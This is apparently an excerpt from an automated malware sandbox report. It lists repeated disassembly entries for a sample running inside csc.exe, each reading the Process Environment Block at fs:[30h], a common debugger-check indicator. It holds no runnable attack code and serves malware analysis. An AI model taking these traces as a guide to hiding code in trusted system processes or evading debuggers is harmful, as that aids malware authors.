Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CDE79D mov eax, dword ptr fs:[00000030h]	3_2_05CDE79D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CDE79D mov eax, dword ptr fs:[00000030h]	3_2_05CDE79D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CDE79D mov eax, dword ptr fs:[00000030h]	3_2_05CDE79D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CDE79D mov eax, dword ptr fs:[00000030h]	3_2_05CDE79D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CDE79D mov eax, dword ptr fs:[00000030h]	3_2_05CDE79D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CDE79D mov eax, dword ptr fs:[00000030h]	3_2_05CDE79D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D3B781 mov eax, dword ptr fs:[00000030h]	3_2_05D3B781
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D3B781 mov eax, dword ptr fs:[00000030h]	3_2_05D3B781
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C91796 mov eax, dword ptr fs:[00000030h]	3_2_05C91796
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C91796 mov eax, dword ptr fs:[00000030h]	3_2_05C91796
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C607A7 mov eax, dword ptr fs:[00000030h]	3_2_05C607A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D317BC mov eax, dword ptr fs:[00000030h]	3_2_05D317BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D2D7A7 mov eax, dword ptr fs:[00000030h]	3_2_05D2D7A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D2D7A7 mov eax, dword ptr fs:[00000030h]	3_2_05D2D7A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D2D7A7 mov eax, dword ptr fs:[00000030h]	3_2_05D2D7A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D0E750 mov eax, dword ptr fs:[00000030h]	3_2_05D0E750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C9174A mov eax, dword ptr fs:[00000030h]	3_2_05C9174A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C93740 mov eax, dword ptr fs:[00000030h]	3_2_05C93740
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C9A750 mov eax, dword ptr fs:[00000030h]	3_2_05C9A750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C82755 mov eax, dword ptr fs:[00000030h]	3_2_05C82755
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C82755 mov eax, dword ptr fs:[00000030h]	3_2_05C82755
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C82755 mov eax, dword ptr fs:[00000030h]	3_2_05C82755
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C82755 mov ecx, dword ptr fs:[00000030h]	3_2_05C82755
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C82755 mov eax, dword ptr fs:[00000030h]	3_2_05C82755
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C82755 mov eax, dword ptr fs:[00000030h]	3_2_05C82755
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5F75B mov eax, dword ptr fs:[00000030h]	3_2_05C5F75B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5F75B mov eax, dword ptr fs:[00000030h]	3_2_05C5F75B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5F75B mov eax, dword ptr fs:[00000030h]	3_2_05C5F75B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5F75B mov eax, dword ptr fs:[00000030h]	3_2_05C5F75B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5F75B mov eax, dword ptr fs:[00000030h]	3_2_05C5F75B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5F75B mov eax, dword ptr fs:[00000030h]	3_2_05C5F75B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5F75B mov eax, dword ptr fs:[00000030h]	3_2_05C5F75B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5F75B mov eax, dword ptr fs:[00000030h]	3_2_05C5F75B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5F75B mov eax, dword ptr fs:[00000030h]	3_2_05C5F75B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C72760 mov ecx, dword ptr fs:[00000030h]	3_2_05C72760
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CA1763 mov eax, dword ptr fs:[00000030h]	3_2_05CA1763
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CA1763 mov eax, dword ptr fs:[00000030h]	3_2_05CA1763
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CA1763 mov eax, dword ptr fs:[00000030h]	3_2_05CA1763
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CA1763 mov eax, dword ptr fs:[00000030h]	3_2_05CA1763
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CA1763 mov eax, dword ptr fs:[00000030h]	3_2_05CA1763
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CA1763 mov eax, dword ptr fs:[00000030h]	3_2_05CA1763
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C90774 mov eax, dword ptr fs:[00000030h]	3_2_05C90774
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C64779 mov eax, dword ptr fs:[00000030h]	3_2_05C64779
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C64779 mov eax, dword ptr fs:[00000030h]	3_2_05C64779
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5B705 mov eax, dword ptr fs:[00000030h]	3_2_05C5B705
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5B705 mov eax, dword ptr fs:[00000030h]	3_2_05C5B705
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5B705 mov eax, dword ptr fs:[00000030h]	3_2_05C5B705
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5B705 mov eax, dword ptr fs:[00000030h]	3_2_05C5B705
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8270D mov eax, dword ptr fs:[00000030h]	3_2_05C8270D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8270D mov eax, dword ptr fs:[00000030h]	3_2_05C8270D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8270D mov eax, dword ptr fs:[00000030h]	3_2_05C8270D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C6D700 mov ecx, dword ptr fs:[00000030h]	3_2_05C6D700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D1F717 mov eax, dword ptr fs:[00000030h]	3_2_05D1F717
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D2970B mov eax, dword ptr fs:[00000030h]	3_2_05D2970B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D2970B mov eax, dword ptr fs:[00000030h]	3_2_05D2970B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C6471B mov eax, dword ptr fs:[00000030h]	3_2_05C6471B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C6471B mov eax, dword ptr fs:[00000030h]	3_2_05C6471B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C89723 mov eax, dword ptr fs:[00000030h]	3_2_05C89723
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C606CF mov eax, dword ptr fs:[00000030h]	3_2_05C606CF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D2A6C0 mov eax, dword ptr fs:[00000030h]	3_2_05D2A6C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D086C2 mov eax, dword ptr fs:[00000030h]	3_2_05D086C2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8D6D0 mov eax, dword ptr fs:[00000030h]	3_2_05C8D6D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C596E0 mov eax, dword ptr fs:[00000030h]	3_2_05C596E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C596E0 mov eax, dword ptr fs:[00000030h]	3_2_05C596E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C6C6E0 mov eax, dword ptr fs:[00000030h]	3_2_05C6C6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C656E0 mov eax, dword ptr fs:[00000030h]	3_2_05C656E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C656E0 mov eax, dword ptr fs:[00000030h]	3_2_05C656E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C656E0 mov eax, dword ptr fs:[00000030h]	3_2_05C656E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C866E0 mov eax, dword ptr fs:[00000030h]	3_2_05C866E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C866E0 mov eax, dword ptr fs:[00000030h]	3_2_05C866E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CDC6F2 mov eax, dword ptr fs:[00000030h]	3_2_05CDC6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CDC6F2 mov eax, dword ptr fs:[00000030h]	3_2_05CDC6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C70680 mov eax, dword ptr fs:[00000030h]	3_2_05C70680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C70680 mov eax, dword ptr fs:[00000030h]	3_2_05C70680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C70680 mov eax, dword ptr fs:[00000030h]	3_2_05C70680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C70680 mov eax, dword ptr fs:[00000030h]	3_2_05C70680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C70680 mov eax, dword ptr fs:[00000030h]	3_2_05C70680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C70680 mov eax, dword ptr fs:[00000030h]	3_2_05C70680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C70680 mov eax, dword ptr fs:[00000030h]	3_2_05C70680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C70680 mov eax, dword ptr fs:[00000030h]	3_2_05C70680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C70680 mov eax, dword ptr fs:[00000030h]	3_2_05C70680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C70680 mov eax, dword ptr fs:[00000030h]	3_2_05C70680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C70680 mov eax, dword ptr fs:[00000030h]	3_2_05C70680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C70680 mov eax, dword ptr fs:[00000030h]	3_2_05C70680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C68690 mov eax, dword ptr fs:[00000030h]	3_2_05C68690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D1F68C mov eax, dword ptr fs:[00000030h]	3_2_05D1F68C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CEC691 mov eax, dword ptr fs:[00000030h]	3_2_05CEC691
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D286A8 mov eax, dword ptr fs:[00000030h]	3_2_05D286A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D286A8 mov eax, dword ptr fs:[00000030h]	3_2_05D286A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C63640 mov eax, dword ptr fs:[00000030h]	3_2_05C63640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C7F640 mov eax, dword ptr fs:[00000030h]	3_2_05C7F640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C7F640 mov eax, dword ptr fs:[00000030h]	3_2_05C7F640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C7F640 mov eax, dword ptr fs:[00000030h]	3_2_05C7F640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C9C640 mov eax, dword ptr fs:[00000030h]	3_2_05C9C640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C9C640 mov eax, dword ptr fs:[00000030h]	3_2_05C9C640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5D64A mov eax, dword ptr fs:[00000030h]	3_2_05C5D64A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5D64A mov eax, dword ptr fs:[00000030h]	3_2_05C5D64A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C9265C mov eax, dword ptr fs:[00000030h]	3_2_05C9265C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C9265C mov ecx, dword ptr fs:[00000030h]	3_2_05C9265C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C9265C mov eax, dword ptr fs:[00000030h]	3_2_05C9265C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C6965A mov eax, dword ptr fs:[00000030h]	3_2_05C6965A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C6965A mov eax, dword ptr fs:[00000030h]	3_2_05C6965A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C95654 mov eax, dword ptr fs:[00000030h]	3_2_05C95654
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C9666D mov esi, dword ptr fs:[00000030h]	3_2_05C9666D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C9666D mov eax, dword ptr fs:[00000030h]	3_2_05C9666D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C9666D mov eax, dword ptr fs:[00000030h]	3_2_05C9666D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C57662 mov eax, dword ptr fs:[00000030h]	3_2_05C57662
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C57662 mov eax, dword ptr fs:[00000030h]	3_2_05C57662
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C57662 mov eax, dword ptr fs:[00000030h]	3_2_05C57662
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C73660 mov eax, dword ptr fs:[00000030h]	3_2_05C73660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C73660 mov eax, dword ptr fs:[00000030h]	3_2_05C73660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C73660 mov eax, dword ptr fs:[00000030h]	3_2_05C73660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C60670 mov eax, dword ptr fs:[00000030h]	3_2_05C60670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CA2670 mov eax, dword ptr fs:[00000030h]	3_2_05CA2670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CA2670 mov eax, dword ptr fs:[00000030h]	3_2_05CA2670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C9360F mov eax, dword ptr fs:[00000030h]	3_2_05C9360F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CF3608 mov eax, dword ptr fs:[00000030h]	3_2_05CF3608
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CF3608 mov eax, dword ptr fs:[00000030h]	3_2_05CF3608
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CF3608 mov eax, dword ptr fs:[00000030h]	3_2_05CF3608
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CF3608 mov eax, dword ptr fs:[00000030h]	3_2_05CF3608
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CF3608 mov eax, dword ptr fs:[00000030h]	3_2_05CF3608
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CF3608 mov eax, dword ptr fs:[00000030h]	3_2_05CF3608
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8D600 mov eax, dword ptr fs:[00000030h]	3_2_05C8D600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8D600 mov eax, dword ptr fs:[00000030h]	3_2_05C8D600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D34600 mov eax, dword ptr fs:[00000030h]	3_2_05D34600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D1F607 mov eax, dword ptr fs:[00000030h]	3_2_05D1F607
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C65622 mov eax, dword ptr fs:[00000030h]	3_2_05C65622
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C65622 mov eax, dword ptr fs:[00000030h]	3_2_05C65622
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C67623 mov eax, dword ptr fs:[00000030h]	3_2_05C67623
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C9C620 mov eax, dword ptr fs:[00000030h]	3_2_05C9C620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C60630 mov eax, dword ptr fs:[00000030h]	3_2_05C60630
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C90630 mov eax, dword ptr fs:[00000030h]	3_2_05C90630
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D0D62C mov ecx, dword ptr fs:[00000030h]	3_2_05D0D62C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D0D62C mov ecx, dword ptr fs:[00000030h]	3_2_05D0D62C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D0D62C mov eax, dword ptr fs:[00000030h]	3_2_05D0D62C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CE8633 mov esi, dword ptr fs:[00000030h]	3_2_05CE8633
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CE8633 mov eax, dword ptr fs:[00000030h]	3_2_05CE8633
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CE8633 mov eax, dword ptr fs:[00000030h]	3_2_05CE8633
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C701C0 mov eax, dword ptr fs:[00000030h]	3_2_05C701C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C701C0 mov eax, dword ptr fs:[00000030h]	3_2_05C701C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C751C0 mov eax, dword ptr fs:[00000030h]	3_2_05C751C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C751C0 mov eax, dword ptr fs:[00000030h]	3_2_05C751C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C751C0 mov eax, dword ptr fs:[00000030h]	3_2_05C751C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C751C0 mov eax, dword ptr fs:[00000030h]	3_2_05C751C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C691E5 mov eax, dword ptr fs:[00000030h]	3_2_05C691E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C691E5 mov eax, dword ptr fs:[00000030h]	3_2_05C691E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C6A1E3 mov eax, dword ptr fs:[00000030h]	3_2_05C6A1E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C6A1E3 mov eax, dword ptr fs:[00000030h]	3_2_05C6A1E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C6A1E3 mov eax, dword ptr fs:[00000030h]	3_2_05C6A1E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C6A1E3 mov eax, dword ptr fs:[00000030h]	3_2_05C6A1E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C6A1E3 mov eax, dword ptr fs:[00000030h]	3_2_05C6A1E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8B1E0 mov eax, dword ptr fs:[00000030h]	3_2_05C8B1E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8B1E0 mov eax, dword ptr fs:[00000030h]	3_2_05C8B1E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8B1E0 mov eax, dword ptr fs:[00000030h]	3_2_05C8B1E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8B1E0 mov eax, dword ptr fs:[00000030h]	3_2_05C8B1E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8B1E0 mov eax, dword ptr fs:[00000030h]	3_2_05C8B1E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8B1E0 mov eax, dword ptr fs:[00000030h]	3_2_05C8B1E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8B1E0 mov eax, dword ptr fs:[00000030h]	3_2_05C8B1E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C581EB mov eax, dword ptr fs:[00000030h]	3_2_05C581EB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C591F0 mov eax, dword ptr fs:[00000030h]	3_2_05C591F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C591F0 mov eax, dword ptr fs:[00000030h]	3_2_05C591F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C701F1 mov eax, dword ptr fs:[00000030h]	3_2_05C701F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C701F1 mov eax, dword ptr fs:[00000030h]	3_2_05C701F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C701F1 mov eax, dword ptr fs:[00000030h]	3_2_05C701F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8F1F0 mov eax, dword ptr fs:[00000030h]	3_2_05C8F1F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8F1F0 mov eax, dword ptr fs:[00000030h]	3_2_05C8F1F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D281EE mov eax, dword ptr fs:[00000030h]	3_2_05D281EE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D281EE mov eax, dword ptr fs:[00000030h]	3_2_05D281EE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C64180 mov eax, dword ptr fs:[00000030h]	3_2_05C64180
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C64180 mov eax, dword ptr fs:[00000030h]	3_2_05C64180
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C64180 mov eax, dword ptr fs:[00000030h]	3_2_05C64180
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CA1190 mov eax, dword ptr fs:[00000030h]	3_2_05CA1190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CA1190 mov eax, dword ptr fs:[00000030h]	3_2_05CA1190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C89194 mov eax, dword ptr fs:[00000030h]	3_2_05C89194
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D351B6 mov eax, dword ptr fs:[00000030h]	3_2_05D351B6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C9E1A4 mov eax, dword ptr fs:[00000030h]	3_2_05C9E1A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C9E1A4 mov eax, dword ptr fs:[00000030h]	3_2_05C9E1A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C941BB mov ecx, dword ptr fs:[00000030h]	3_2_05C941BB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C941BB mov eax, dword ptr fs:[00000030h]	3_2_05C941BB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C941BB mov eax, dword ptr fs:[00000030h]	3_2_05C941BB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C931BE mov eax, dword ptr fs:[00000030h]	3_2_05C931BE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C931BE mov eax, dword ptr fs:[00000030h]	3_2_05C931BE
